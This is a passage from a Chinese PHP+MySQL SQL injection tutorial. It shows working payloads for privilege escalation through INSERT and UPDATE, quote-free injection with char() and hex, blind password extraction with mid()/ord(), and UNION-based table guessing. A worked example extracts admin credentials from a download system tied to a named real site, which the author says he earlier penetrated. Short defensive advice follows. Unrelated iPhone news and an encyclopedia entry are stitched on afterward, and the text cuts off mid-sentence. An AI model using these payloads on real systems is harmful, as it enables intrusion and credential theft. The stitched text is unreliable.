统不会认识那是一个路径,也不用尝试用char()或者什么函数,那是徒劳。

INSERT

  如果大家认为MYSQL中注入仅仅适用于SELECT就大错特错了,其实还有两个危害更大的操作,那就是

INSERT和UPDATE语句,这类例子不多,先面先说说INSERT,这主要应用于改写插入的数据,我们来看个简

单而又广泛存在的例子,看看下面的数据结构:

CREATE TABLE `user` (
`userid` INT NOT NULL AUTO_INCREMENT ,
`username` VARCHAR( 20 ) NOT NULL ,
`password` VARCHAR( 50 ) NOT NULL ,
`homepage` VARCHAR( 255 ) NOT NULL ,
`userlevel` INT DEFAULT ‘1’ NOT NULL ,
PRIMARY KEY ( `userid` )
);
 
  其中的userlevel代表用户的等级,1是普通用户,2是普通管理员,3是超级管理员,一个注册程序默

认是注册成普通用户,如下:

INSERT INTO `user` (userid, username, password, homepage,userlevel) VALUES (”, ‘$username’,

‘$password’, ‘$homepage’,’1′);
 
  默认userlevel字段是插入1,其中的变量都是没有经过过滤就直接写入数据库的,不知道大家有什么

想法?对,就是直接注入,使我们一注册就是超级管理员。我们注册的时候,构造$homepage变量,就可

以达到改写的目的,指定$homepage变量为:

http://4ngel.net’, ‘3’)#
 
  插入数据库的时候就变成:

INSERT INTO `user` (userid, username, password, homepage,userlevel) VALUES (”, ‘angel’,

‘mypass’, ‘http://4ngel.net’,’3’)#’, ‘1’);
 
  这样就注册成为超级管理员了。但这种利用方法也有一定的局限性,比如,我没有需要改写的变量如

userlevel字段是数据库的第一个字段,前面没有地方给我们注入,我们也没有办法了。
或许INSERT还有更广泛的应用,大家可以自行研究,但原理都是一样的。

UPDATE

  和INSERT相比,UPDATE的应用更加广泛,如果过滤不够,足以改写任何数据,还是拿刚才的注册程序

来说,数据结构也不变,我们看一下用户自己修改自己的资料,SQL语句一般都是这样写的:

UPDATE user SET password=’$password’, homepage=’$homepage’ WHEREid=’$id’
 
  用户可以修改自己的密码和主页,大家有什么想法?总不至于还是提升权限吧?程序中的SQL语句又

没有更新userlevel字段,怎么提升啊?还是老办法,构造$homepage变量,指定$homepage变量为:

http://4ngel.net’, userlevel=’3
 
  整个SQL语句就变成这样:

UPDATE user SET password=’mypass’, homepage=’http://4ngel.net’,userlevel=’3′ WHERE id=’$id’
 
  我们是不是又变成超级管理员了?程序不更新userlevel字段,我们自己来。
还有更加绝的,直接修改任意用户的资料,还是刚才的例句,但这次安全一点,使用MD5加密:

UPDATE user SET password=’MD5($password)’, homepage=’$homepage’WHERE id=’$id’
 
  尽管密码被加密了,但我们还是可以构造我们需要的语句,我们指定$password为:

mypass)’ WHERE username=’admin’#
 
  这时整个语句变为:

UPDATE user SET password=’MD5(mypass)’ WHEREusername=’admin’#)’, homepage=’$homepage’ WHERE

id=’$id’
 
  这样就更改了更新的条件,我管你后面的代码是不是在哭这说:我们还没有执行啊。当然,也可以从

$id下手,指定$id为:

‘ OR username=’admin’
 
  这时整个语句变为:

UPDATE user SET password=’MD5($password)’, homepage=’$homepage’WHERE id=” OR

username=’admin’
 
  照样也可以达到修改的目的,所以说注入是非常灵活的技术。如果有些变量是从数据库读取的固定值

,甚至用$_SESSION[‘username’]来读取服务器上的SESSION信息时,我们就可以在原来的WHERE之前自己

构造WHERE并注释掉后面的代码,由此可见,灵活运用注释也是注入的技巧之一。这些技巧把注入发挥得

淋漓尽致。不得不说是一种艺术。
 _sina_#8221_word__淞康奶峤环绞娇梢允荊ET或POST,提交的位置可以是地址栏、表单、隐藏表单变量

或修改本地COOKIE信息等,提交的方式可以是本地提交,服务器上提交或者是工具提交,多种多样就看你

如何运用了。

高级应用

1、 使用MYSQL内置函数

  我们在ACCESS、MSSQL中的注入,有很多比较高级的注入方法,比如深入到系统,猜中文等,这些东

西,在MYSQL也能很好得到发挥,其实在MYSQL有很多内置函数都可以用在SQL语句里,这样就可以使我们

能在注入时更灵活,得到更多关于系统的信息。有几个函数是比较常用的:

DATABASE()
USER()
SYSTEM_USER()
SESSION_USER()
CURRENT_USER()
……
 
  各个函数的具体作用大家可以查阅MYSQL手册,比如下面这句UPDATE:

UPDATE article SET title=$title WHERE articleid=1
 
  我们可以指定$title为以上的各个函数,因为没有被引号包含,所以函数是能正确执行的:

UPDATE article SET title=DATABASE() WHERE id=1
#把当前数据库名更新到title字段
UPDATE article SET title=USER() WHERE id=1
#把当前 MySQL 用户名更新到title字段
UPDATE article SET title=SYSTEM_USER() WHERE id=1
#把当前 MySQL 用户名更新到title字段
UPDATE article SET title=SESSION_USER() WHERE id=1
#把当前 MySQL 用户名更新到title字段
UPDATE article SET title=CURRENT_USER() WHERE id=1
#把当前会话被验证匹配的用户名更新到title字段
 
  灵活运用MYSQL内置的函数,可以获得不少有用的信息,比如数据库版本、名字、用户、当前数据库

等,比如前面跨表查询的例子,提交:

http://127.0.0.1/injection/show.php?id=1
 
  可以看到一篇文章,我们怎么样才能知道MYSQL数据库的相关信息呢?同样也是用MYSQL内置函数配合

UNION联合查询,不过相比之下就简单得多了,甚至还可以读取文件!既然要用到UNION,同样要满足

UNION的条件——字段数、数据类型相同。如果我们知道了数据结构,直接构造:

http://127.0.0.1/injection/show.php?id=-1 union select1,database(),version()
 
  就可以返回当前数据库名和数据库版本,构造是比较容易的。
  下面附上一段由我好友Super·Hei写的代码,可以把字符串转换为ASCII代码。感谢提供。

#!/usr/bin/perl
#cody by Super·Hei
#to angel
#C:>test.pl c:boot.ini
#99,58,92,98,111,111,116,46,105,110,105

$ARGC = @ARGV;
if ($ARGC != 1) {
  print “Usage: $0 n”;
  exit(1);
}

$path=shift;

@char = unpack(‘C*’, $path);

$asc=join(“,”,@char);

print $asc;
 
2、不加单引号注入

注:现在我们假设magic_quotes_gpc为on了。

  众所周知,整形的数据是不需要用引号引起来的,而字符串就要用引号,这样可以避免很多问题。但

是如果仅仅用整形数据,我们是没有办法注入的,所以我需要把我们构造的语句转换成整形类型,这个就

需要用到CHAR(),ASCII(),ORD(),CONV()这些函数了,举个简单的例子:

SELECT * FROM user WHERE username=’angel’
 
  如何使$username不带引号呢?很简单我们这样提交就可以了。

SELECT * FROM user WHERE username=char(97,110,103,101,108)
# char(97,110,103,101,108) 相当于angel,十进制。
SELECT * FROM user WHERE username=0x616E67656C
# 0x616E67656C 相当于angel,十六进制。
 
  其他函数大家自己去测试好了,但是前提就如上面所说的,我们可以构造的变量不被引号所包含才有

意义,不然我们不管构造什么,只是字符串,发挥不了作用,比如前面猜密码的例子(user,php),我们把

查询条件改为userid:

SELECT * FROM user WHERE userid=userid
 
 _sina_#8220_word__凑照5模峤唬

http://127.0.0.1/injection/user.php?userid=1
 
  就可以查询userid为1的用户资料,因为1是数字,所以有没有引号都无所谓,但是如果我们构造:

http://127.0.0.1/injection/user.php?userid=1 andpassword=mypass
 
  绝对错误,因为mypass是字符串,除非提交:

http://127.0.0.1/injection/user.php?userid=1 andpassword=’mypass’
 
  由于magic_quotes_gpc打开的关系,这个是绝对不可能的。引号会变成/’,我们有什么办法可以把这

些字符串变成整形数据吗?就是用CHAR()函数,如果我们提交:

http://127.0.0.1/injection/user.php?userid=1 andpassword=char(109,121,112,97,115,115)
 
  正常返回,实践证明,我们用CHAR()是可行的,我们就把CHAR()用进LEFT函数里面逐位猜解!

http://127.0.0.1/injection/user.php?userid=1 andLEFT(password,1)=char(109)
 
  正常返回,说明userid为1的用户,password字段第一位是char(109),我们继续猜:

http://127.0.0.1/injection/user.php?userid=1 andLEFT(password,2)=char(109,121)
 
  又正常返回,说明正确,但这样影响到效率,既然是整形,我们完全可以用比较运算符来比较:

http://127.0.0.1/injection/user.php?userid=1 andLEFT(password,1)>char(100)
 
  然后适当调整char()里面的数字来确定一个范围,很快就可以猜出来,到了后面的时候,还是可以用

比较运算符来比较:

http://127.0.0.1/injection/user.php?userid=1 andLEFT(password,3)>char(109,121,111)
 
  而原来已经猜好的不用改变了,很快就可以猜完:

http://127.0.0.1/injection/user.php?userid=1 andLEFT(password,6)=char

(109,121,112,97,115,115)
 
 
  然后在mysql>命令提示符下或者在phpMyadmin里面执行:

select char(109,121,112,97,115,115)
 
  就会返回:mypass

 
  当然也可以使用SUBSTRING(str,pos,len)和MID(str,pos,len)函数,从字符串 str 的pos 位置起返

回 len个字符的子串。这个和ACCESS是一样的。还是刚才的例子,我们猜password字段的第三位、第四位

试试,第三位是p,第四位是a,我们这样构造:

http://127.0.0.1/injection/user.php?userid=1 andmid(password,3,1)=char(112)
http://127.0.0.1/injection/user.php?userid=1 andmid(password,4,1)=char(97)
 
  我们要的结果就迸出来了。当然,如果觉得麻烦,还可以用更简单的办法,就是利用ord()函数,具

体作用可以去查看MYSQL参考手册,该函数返回的是整形类型的数据,可以用比较运算符进行比较、当然

得出的结果也就快多了,也就是这样提交:

http://127.0.0.1/injection/user.php?userid=1 andord(mid(password,3,1))>111
http://127.0.0.1/injection/user.php?userid=1 andord(mid(password,3,1))<113
http://127.0.0.1/injection/user.php?userid=1 andord(mid(password,3,1))=112
 
  这样我们就得出结果了,然后我们再用char()函数还原出来就好了。至于其他更多函数,大家可以自

己去试验,限于篇幅也不多说了。

3、快速确定未知数据结构的字段及类型

  如果不清楚数据结构,很难用UNION联合查询,这里我告诉大家一个小技巧,也是非常有用非常必要

的技巧,充分发挥UNION的特性。
  还是拿前面的show.php文件做例子,当我们看到形如xxx.php?id=xxx的URL的时候,如果要UNION,就

要知道这个xxx.php查询的数据表的结构,我们可以这样提交来快速确定有多少个字段:

http://127.0.0.1/injection/show.php?id=-1 union select1,1,1
 
  有多少个“1”就表示有多少个字段,可以慢慢试,如果字段数不相同,就肯定会出错,如果字段数

猜对了,就肯定会返回正确的页面,字段数出来了,就开始判断数据类型,其实也很容易,随便用几个字

母代替上面的1,但是由于magic_quotes_gpc打开,我们不能用引号,老办法,还是用char()函数,char

(97)表示字母“a”,如下:

http://127.0.0.1/injection/show.php?id=-1 union selectchar(97),char(97),char(97)
 
  如果是字符串,那就会正常显示“a”,如果不是字符串或文本,也就是说是整形或布尔形,就会返

回“0”,如图:

 
  判断最主要靠什么?经验,我以前一直都说,经验很重要,丰富经验能更好的作出正确的判断,因为

程序的代码是千变万化的,我们这里是只是举个最简单的例子,这里由于局限性,程序都是我自己写、自

己测试的。方法因程序而异。希望大家在实战中,注意区别,不要照搬,灵活运用才是根本。

4、猜数据表名

  在快速确定未知数据结构的字段及类型的基础上,我们又可以进一步的分析整个数据结构,那就是猜

表名,其实使用UNION联合查询的时候,不管后面的查询怎么“畸形”,只要没有语句上的问题,都会正

确返回,也就是说,我们可以在上面的基础上,进一步猜到表名了,比如刚才我们提交:

http://127.0.0.1/injection/show.php?id=1 union select1,1,1
 
  返回正常的内容,就说明这个文件查询的表内是存在3个字段的,然后我们在后面加入

fromtable_name,也就是这样:

http://127.0.0.1/injection/show.php?id=1 union select 1,1,1 frommembers
http://127.0.0.1/injection/show.php?id=1 union select 1,1,1 fromadmin
http://127.0.0.1/injection/show.php?id=1 union select 1,1,1 fromuser
 
  如果这个表是存在的,那么同样会返回应该显示的内容,如果表不存在,当然就会出错了,所以我的

思路是先获得有漏洞的文件所查询表的数据结构,确定结果后再进一步查询表,这个手工操作是没有效率

的问题的,不到一分钟就可以查询到了,比如我们在测试www.***bai.net就是这样,后面的实例会涉及到


  但是有一个问题,由于很多情况下,很多程序的数据表都会有一个前缀,有这个前缀就可以让多个程

序共用一个数据库。比如:

site_article
site_user
site_download
forum_user
forum_post
……
 
  如果安全意识高的话,管理员会加个表名前缀,那猜解就很麻烦了,不过完全可以做一个表名列表来

跑。这里就不多说了,后面会有一个具体的例子来解开一切迷茫^_^……

实例

  下面对一个国内非常出名的站点进行善意的攻击测试,来对上面的知识进行一次大概的验证,出于影

响等诸多因素,我们称这个站点为HB(www.***bai.net),HB使用的是夜猫的文章系统和下载系统,不过文

章系统已经升级了,我们就不看了,下载系统是绝对有问题的,不过由于我现在写文章的电脑不上网,我

用相同的下载系统在本地进行一次模拟的测试。实际上,我事前早用更狠毒的技术渗透过HB。
  首先我们找到有问题的文件,show.php?id=1,我们马上看看数据结构和表名,看看HB有没有改字段

和表名,我早知道夜猫下载系统1.0.1版的软件信息的表有19个字段,就提交:

http://127.0.0.1/ymdown/show.php?id=1 union select1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
 
  注意,这里有19个“1”,返回正常的页面,我可以可以肯定字段没有变,我们也就别拖拉了,直接

看看夜猫的默认用户数据表是否存在:

http://127.0.0.1/ymdown/show.php?id=1 union select1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from

ymdown_user
 
  正常返回,如图,如果URL不清楚可以看标题那里:

 
  嗯,这个HB还真是够懒的,这么烂的程序也不知道先修改一下再用,不过也是,没有多少人和我一样

有闲心先去加固程序才用的,再看默认的用户id还在不在?

http://127.0.0.1/ymdown/show.php?id=1 union select1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from

ymdown_user whereid=1
 
  忘记了,就算不存在id为1的用户,前面的查询是真的,照样会正常返回数据库的软件信息,我们只

能让前面的查询为假,才能使后面查询的结果显示出来,但我们要注意一点,show.php文件里面有这样一

段代码:

if ($id > “0” &&$id < “999999999” ):
//这里是正确执行的代码
else:
echo”<p><center><ahref=./list.php>无记录</a></p>n”;
 
  也就是说我们的ID的值再怎么离谱也不能在0和999999999之外,HB的软件肯定不会超过10000个的,

我们就提交:

http://127.0.0.1/ymdown/show.php?id=10000 union select1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1

from ymdown_user whereid=1
 
  正常返回了,表格里的数据全部是“1”,说明ID还在哦。如果不存在的话,页面只返回的数据全部

是不详,因为程序的判断是如果数据为空就显示不详。现在确定了ID存在后,还要确定是不是管理员才行

啊:

http://127.0.0.1/ymdown/show.php?id=10000 union select1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1

from ymdown_user where id=1and groupid=1
 
  程序规定groupid为1是超级管理员,既然都返回正确信息了,我们就直接构造畸形语句,暴出我们需

要的用户名和密码,嘿嘿,首先看看ymdown表的数据结构,因为show.php是查询它的,所以我们应该看它

的数据结构。

CREATE TABLE ymdown (
 id int(10) unsigned NOT NULL auto_increment,
 name varchar(100) NOT NULL,
 updatetime varchar(20) NOT NULL,
 size varchar(100) NOT NULL,
 empower varchar(100) NOT NULL,
 os varchar(100) NOT NULL,
 grade smallint(6) DEFAULT ‘0’ NOT NULL,
 viewnum int(10) DEFAULT ‘0’ NOT NULL,
 downnum int(10) DEFAULT ‘0’ NOT NULL,
 homepage varchar(100), demo varchar(100),
 brief mediumtext, img varchar(100),
 sort2id smallint(6) DEFAULT ‘0’ NOT NULL,
 down1 varchar(100) NOT NULL,
 down2 varchar(100),
 down3 varchar(100),
 down4 varchar(100),
 down5 varchar(100),
 PRIMARY KEY (id)
);
 
  用户名和密码的数据类型都是varchar,所以我们要选择ymdown表里数据类型是varchar来,如果把

varchar的数据写到int的地方当然是不可能显示的了,由于updatetime(更新日期)的长度是20,可能会

出现显示不完全的情况,我们就把用户名显示在name(软件标题)那里,密码显示在size(文件大小)那

里好了,在19个“1”中,name和size分别是第二个和第四个,我们提交:

http://127.0.0.1/ymdown/show.php?id=10000 union

select1,username,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 fromymdown_user where id=1
 
  结果成功返回了我们所需要的用户名和密码,如图:

 
验证测试结果

  整个渗透过程就结束了,不过由于黑白把入口给改了,无法登陆,但我们仅仅测试注入,目的已经达

到了,就没有必要进后台了,我后来又继续构造SQL语句来验证我们获取的密码是否正确,依次提交:

http://127.0.0.1/ymdown/show.php?id=10 union select1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1

from ymdown_user where id=1and ord(mid(password,1,1))=49
#验证第一位密码
http://127.0.0.1/ymdown/show.php?id=10 union select1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1

from ymdown_user where id=1and ord(mid(password,2,1))=50
#验证第二位密码
http://127.0.0.1/ymdown/show.php?id=10 union select1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1

from ymdown_user where id=1and ord(mid(password,3,1))=51
#验证第三位密码
http://127.0.0.1/ymdown/show.php?id=10 union select1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1

from ymdown_user where id=1and ord(mid(password,4,1))=52
#验证第四位密码
http://127.0.0.1/ymdown/show.php?id=10 union select1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1

from ymdown_user where id=1and ord(mid(password,5,1))=53
#验证第五位密码
http://127.0.0.1/ymdown/show.php?id=10 union select1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1

from ymdown_user where id=1and ord(mid(password,6,1))=54
#验证第六位密码
 
  用select char(49,50,51,52,53,54)就可以得到123456。
  OK!测试结束,验证我们的结果没有错误。说明一下,密码本身是123456,可以不用ord()函数而直

接猜,但为了大家能看到一个完整的过程,我还是“专业”一点好了。下面补一幅截图,是本文写完后,

重新测试HB时截取的:

 
注入的防范

  防范可以从两个方面着手,一个就是服务器,二个就是代码本身,介绍服务器配置的文章很多了,无

非就是把magic_quotes_gpc设置为On,display_errors设置为Off,这里也就不在多说,既然本文接触都

是程序的问题,我们还是从程序本身寻找原因。
  如果说php比asp易用,安全,从内置的函数就可以体现出来。如果是整形的变量,只需使用一个

intval()函数即可解决问题,在执行查询之前,我们先处理一下变量,如下面的例子就是很安全的了:

$id = intval($id);
mysql_query(“SELECT * FROM article WHERE articleid=’$id'”);
 
  或者这样写:

mysql_query(“SELECT * FROM article WHEREarticleid=”.intval($id).””)
 
  不管如何构造,最终还是会先转换为整形猜放入数据库的。很多大型程序都是这样写,非常简洁。
  字符串形的变量也可以用addslashes()整个内置函数了,这个函数的作用和magic_quotes_gpc一样,

使用后,所有的’ (单引号), ” (双引号), (反斜线) and空字符会自动转为含有反斜线的溢出字符。而

且新版本的php,就算magic_quotes_gpc打开了,再使用addslashes()函数,也不会有冲突,可以放心使

用。例子如下:

$username = addslashes($username);
mysql_query(“SELECT * FROM members WHEREuserid=’$username'”);
 
  或者这样写:

mysql_query(“SELECT * FROM members WHEREuserid=”.addslashes($username).””)
 
  使用addslashes()函数还可以避免引号配对错误的情况出现。而刚才的前面搜索引擎的修补方法就是

直接把“_”、“%”转换为“_”“%”就可以了,当然也不要忘记使用addslashes()函数。具体代码如

下:

$keywords = addslashes($keywords);
$keywords = str_replace(“_”,”_”,$keywords);
$keywords = str_replace(“%”,”%”,$keywords);
 
  不用像ASP那样,过滤一点变量,就要写一大堆的代码,就是上面的一点点代码,我们就可以把本文

所有的问题解决了,是不是很简便?

后记

  这篇文章是我自2004年3月份以来利用课余时间学习研究的,5月中旬写完,里面的所有东西都是经过

我亲自测试的,本文仅仅算是技术总结吧,还有很多技术难点没有解决的,因此错漏是难免的,欢迎请大

家指正。
  还有不少危险性极高的东西,只要少数条件成立,一般都可以进入服务器,考虑到严重性和广泛性,

我并没有写出来,我个人估计,不久将会出现PHP+MYSQL注入的一系列工具,技术也会普及和告诉发展。

但我建议大家一定要弄清楚原理,工具只是武器,技术才是灵魂,工具只是提高效率罢了,并不代表你的

技术高超。
  大家看到这篇文章的时候,估计我已经高考完了,暑假我会写一篇更深入的研究。
  为了让更多人了解并掌握PHP+MYSQL的注入技术,我才写了这篇文章,并决定发表,再重申一次。不

要对任何国家的任何合法主机进行破坏,否则后果自负。

新一轮“苹果大战”在即 三运营商齐招手iPhone5

 南都讯 记者汪小星 实习生余婷 三大运营商高层近日均公开表示与iPhone合作的意向,摩拳擦掌抢食“苹果”。

  中国联通董事长常小兵日前在香港召开的股东大会上表示,联通正在考虑引入苹果新一代iPhone手机。就在上周,移动和电信的高层不约而同地透露了与苹果合作引入iPhone的情况。对此,常小兵认为,移动、电信争夺iPhone是大势所趋。

  新一代iPhone即将诞生,联通在国内iPhone江湖中一家独大的地位很有可能被打破。新一轮“苹果大战”不可避免。

  中国联通董事长常小兵日前在香港表示,如果苹果推出iPhone5,将会考虑引入。目前iPhone销售策略合适,暂未有计划改变。而中国联通总经理陆益民透露,iPhone对联通3G业务推动很大,联通目前iPhone用户平均月增30万至40万。

  倘若竞争对手都引入iPhone,联通要如何应对?常小兵回应,竞争对手引入iPhone是大势所趋,除了苹果,联通还将加强与其他手机厂商的相关合作。

  “中国移动需要让我们的客户能够使用iPhone,而苹果当然不会放弃中国移动6亿用户这个市场。”中国移动集团董事长王建宙日前亦在股东大会上首度明确表示,中国移动已经与苹果公司达成共识,苹果未来将推出TD-LTE制式的iPhone手机。

  王建宙称,目前使用iPhone的中国移动用户超过400万。而早在2007年中国移动就曾与苹果谈判,只可惜双方谈判一度破裂,联通抓住时机火速牵手iPhone。经过4年反复拉锯,中国移动似乎再也不想错失iPhone,希望在明年TD-LTE网络正式商用时,推出TD-LTE制式的新一代iPhone。

  中国电信也不甘落后。中国电信董事长王晓初日前公开表示,公司目前正在就引入CDMA制式的iPhone与苹果密切接触,但基于保密协议不能就有关内容或进度做出评论。

  早在今年2月,CDMA版本的iPhone4就已在美国上市。此前,也曾传出中国电信为iPhone4用户提供烧号服务。据悉,安徽、广东、江苏等电信公司经过调试,已对CDMA版iPhone4成功写号。

  (本文来源:南方都市报 )

iPhone

iPhone由苹果公司(Apple, Inc.)首席执行官史蒂夫·乔布斯在2007年1月9日举行的Macworld宣布推出,2007年6月29日在美国上市,将创新的移动电话、可触摸宽屏iPod以及具有桌面级电子邮件、网页浏览、搜索和地图功能的突破性因特网通信设备这三种产品完美地融为一体。iPhone引入了基于大型多触点显示屏和领先性新软件的全新用户界面,让用户用手指即可控制iPhone。iPhone还开创了移动设备软件尖端功能的新纪元,重新定义了移动电话的功能。

iPhone是结合照相手机、个人数码助理、媒体播放器以及无线通信设备的掌上设备,由苹果公司(Apple, Inc.)首席执行官史蒂夫·乔布斯(Steve Paul Jobs)在2007年1月9日举行的Macworld宣布推出,2007年6月29日在美国上市。   iPhone是一部4频段的GSM制式手机,支持EDGE和802.11b/g无线上网(iPhone3G/3Gs/4支持WCDMA上网,iPhone4支持802.11n),支持电邮、移动通话、短信、网络浏览以及其他的无线通信服务。iPhone没有键盘,而是创新地引入了多点触摸(Multi-touch)触摸屏界面,在操作性上与其他品牌的手机相比占有领先地位。   iPhone包括了iPod的媒体播放功能,和为了行动设备修改后的Mac OS X操作系统(iOS,本名iPhone OS,自4.0版本起改名为iOS),以及200万像素的摄像头。(一代、二代为200万,3Gs为320万,支持自动对焦,4代提升到背照式500万 )此外,设备内置有感应器(即所谓的重力感应),能依照用户水平或垂直的持用方式,自动调整屏幕显示方向。并且内置了光感器,支持根据当前光线强度调整屏幕亮度。还内置了距离感应器,防止在接打电话时,误触屏幕引起的操作。iPhone(4代)使用1GHz Apple A4处理器。   移动电话、宽屏 iPod 和上网装置 ─ iPhone 将三大功能集于一身,通过多点触摸( Multi-Touch) 技 术,手指轻点就能拨打电话、应用程序之间也易如反掌。还可以直接从网站拷贝粘贴文字和图片。   短信彩信通过短信和彩信直接发送文字、照片、音频、视频和联系人信息。还可以转发整段对话或其中的重要部分,Spotlight Search 可以让你在同一个地方搜遍 iPhone 中的各种不同内容,包括联系人、电子邮件、日历以及备忘录等等。用语音备忘录随时随地记录并分享你的灵感、备忘事宜、会议记录或任何录音。   现在中国大陆iPhone使用率已经非常高了,在各个时尚潮人,明星,高层之中普及率更高。它被定义为一种高品味的象征。很多网站,实体店等等有有iPhone配件以及整机出售,为中国的通讯产业的发展做出了巨大的贡献。同时也解决了不少人的就业问题。iPhone无疑是非常伟大的跨时代产品,甚至有人打出“无所不能的iPhone”这样的口号。 iphone(16张)至今仍没有一款手机可以在用户体验上超越iphone!目前在APP store上的软件已经达到几十万,全球累计下载量超亿次。

部分运营iPhone的通信商

  

iphone的通信商 AT&T Mobility、Verizon
O2
T-Mobile
Orange、SFR、Bouygues
Vodafone
Optus
3(和记电讯国际)、数码通(VODAFONE沃达丰)
中国联通
中华电信

编辑本段上市时间

   苹果手机靓图(11张)2007年6月29日18:00iPhone 2G在美国上市,4GB版售价(根据各国家与地区的情况,必需要与运营商签订一到两年的话费合约,才能购买IPHONE,也可以视之为存话费购机)为499美元,8GB售价为599美元。9月5日苹果宣布减价,苹果公司美国线上商店4GB版停产,8GB售399美元。9月6日,乔布斯在公司网站上刊登一封致全体iPhone用户的公开信,对降价一事表示歉意,并承诺对老用户作出补偿。   2008年2月4日,苹果公司推出16G版iPhone,售价499美元。   2008年7月11日,苹果公司推出3G iPhone。8GB版售价为199美元,16GB版售价为299美元。ios   2x版正式提供全球语言。   2009年6月9日,苹果公司推出iPhone 3GS。并于2009年6月19日正式上市。其中用户在与运营商AT&T签约两年的情况下,iPhone 3GS 16GB/32GB的签约价格分别为199美元和299美元,对于美国用户来说比较划算。而零售版的价格偏高,分别达到了599美元和699美元,折合人民币最低也要4090元左右。   为了给iPhone 3G S让路,第二代iPhone 3G也在近期开展了降价活动。其中AT&T给出的iPhone 3G 16GB版本的签约价仅为99美元,折合人民币676元左右,但零售版依旧有些昂贵,达到了499美元;而16GB版本的签约价也降到了149美元,折合人民币1017元左右。   在北京时间2009年6月9日凌晨2:48分,在美国旧金山Moscone West会议中心举行的WWDC2009(苹果全球开发者大会)上,苹果公司发布了iPhone第三代产品iPhone 3GS。作为iPhone 3G的提升,3GS中的S,代表了SPEED,意味着升级版的iPhone将搭载更加合理的配置,拥有更快的运行处理速度和3G网络载入速度,为人们的精彩生活带来SPEED的提升 。   iPhone支持四频GSM、EDGE、802.11b/g Wi-Fi和Bluetooth 2.0 EDR无线技术。   iPhone需要带有USB 2.0端口、Mac OSX v10.4.8或更高版本以及iTunes 7的Mac电脑;或带有USB 2.0端口和Windows 2000(Service Pack 4)、Windows XP家庭版或专业版(Service Pack 2)的Windows PC。需要因特网访问,建议使用宽带连接。苹果公司和Cingular将在6月份开始发售之前宣布iPhone的服务计划。   2009年10月1日,中国联通官方开放了中国大陆地区预定iPhone的网页,预定业务在当月25日截止,当月30日下午17时开始在北京世贸天阶举行中国大陆首发仪式。首批联通版iPhone不支持wifi功能,但联通表示有可能在之后的版本中增加此功能。首发的iPhone只面向签约用户,最低6999元可以得到一部iPhone手机。   2010年6月8日凌晨1点,苹果全球开发者大会(WWDC 10)在旧金山Moscone West会展中心正式开幕。苹果CEO史蒂夫·乔布斯在会场山发布了全新的iPhone第四代手机,型号为iPhone 4。2011年1月12日,Verizon召开发布会,宣布与苹果合作并与2月推出CDMA版iPhone 4。   自CDMA版iPhone 4由美国最大电信运营商Verizon在美发布以来,关于中国电信引进iPhone 4的消息就不绝于耳:广东电信内部人士透露,电信已经攻克了CDMA版iPhone 4破解写码(俗称烧号)的最后技术难关,“实现完美破解”,而北京今年6月份将提供CDMA版iPhone 4写码服务,相关技术设备和人员都在准备当中,相信不久就可实现烧号梦想。.   白色版本的iPhone4从2011年4月28日开始在包括中国在内的多个国家和地区公开销售,人们可以从苹果中国在线商店、苹果零售店以及部分苹果授权经销商处购买白色iPhone4机型。16GB机型的建议零售价为人民币4999元、32GB机型为人民币5999元。

编辑本段销量数据

每季度销量数据

  从2007年至今iphone的销量,苹果iphone的销量惊人。   

财政年度 Q1 Q2 Q3 Q4 总销量
2007 270,000 1,119,000 1,389,000
2008 2,315,000 1,703,000 717,000 6,890,000 11,625,000
2009 4,363,000 3,793,000 5,208,000 7,367,000 20,731,000
2010 8,737,000 8,752,000 8,398,000 14,102,000 39,989,000
财政年 Q1 Q2 Q3 Q4 73,736,000

iphone4销售调查结果

  蒙斯特及其团队在iPhone首发日(上周四)所做的调查,得出的结果要有价值得多。他们在位于旧金山、 明尼阿波利斯和纽约的苹果专卖店,用问卷调查的方式,采访了608位iPhone 4买家。过去三年里,三代iPhone首发时,他们也都问了同样的问题。

   全球iPhone季度销售量(以百万计)

他们的主要调查结果如下:   

77%的购买者 都拥有老版iPhone,相比之下,在2009年,这一比例仅为56%,而在2008年,这一比例更是只有38%。上周,摩根士丹利(Morgan Stanley)分析师凯蒂?休伯蒂(Katy Huberty)就曾预计,约有一半的iPhone玩家,会选择升级到iPhone 4。
16%的购买者 是从别的运营商,转网到美国电话电报公司(AT&T)。而在去年,此比例高达28%。
54%的购买者 购买了容量较大的iPhone 4(32GB),在去年,这一比例仅为43%。
28%的购买者 已经拥有了iPad
72%的购买者 尚未购买iPad,不过,他们当中有39%的人表示,可能在未来一年内入手iPad

最新业绩销售

  据国外媒体报道,谷歌昨天公布,每天有16万台Android设备被激活,粗略计算,在iPhone 4发售后的22天里,已经售出350万台Android 手机,而据苹果CEO史蒂夫-乔布斯(Steve Jobs)周五透露,iPhone 4发售后22天的总销量仅为300万台。这意味着Android手机的销售要比iPhone 4高。   不过目前苹果并未公布iPhone 3GS的销量,因此iPhone系列手机的总销量目前仍不清楚。苹果目前仅在其销售五个最大的市场发售iPhone 4手机,而在未来5个月,iPhone 4将登陆更多市场。   但是,对于苹果来说,需求方面也出现了一些问题。在iPhone 4上市的前几天,苹果在美国售出170万台,随后的19天里,苹果仅售出130万台,而且后面这个数字包括了在英国、法国、德国和日本的销售数字。这意味着,在这19天里,苹果iPhone 4每日销量大约为7万台,不足目前Android设备激活率的一半。   究其原因,其中之一是iPhone 4的供应存在限制。目前iPhone 3GS已在大部分国家和地区发售,但iPhone 4仅限于部分国家,而且开售只有3周时间,另外白色版iPhone 4也要到这个月月底才开始上市。   在移动操作系统方面,苹果的iOS应用于iPod、iPad和iPhone上,而Android目前仍大部分存在于手机市场,因此在综合性上iOS似乎要领先于Android。另外,Android是利用对设备访问互联网而统计激活率的,因此其他非手机设备也可能被计算在统计数字内,因此这一数字可能与实际手机销售存在偏差。   但是,在手机方面,谷歌目前似乎已经稍占上风了。按照iPhone 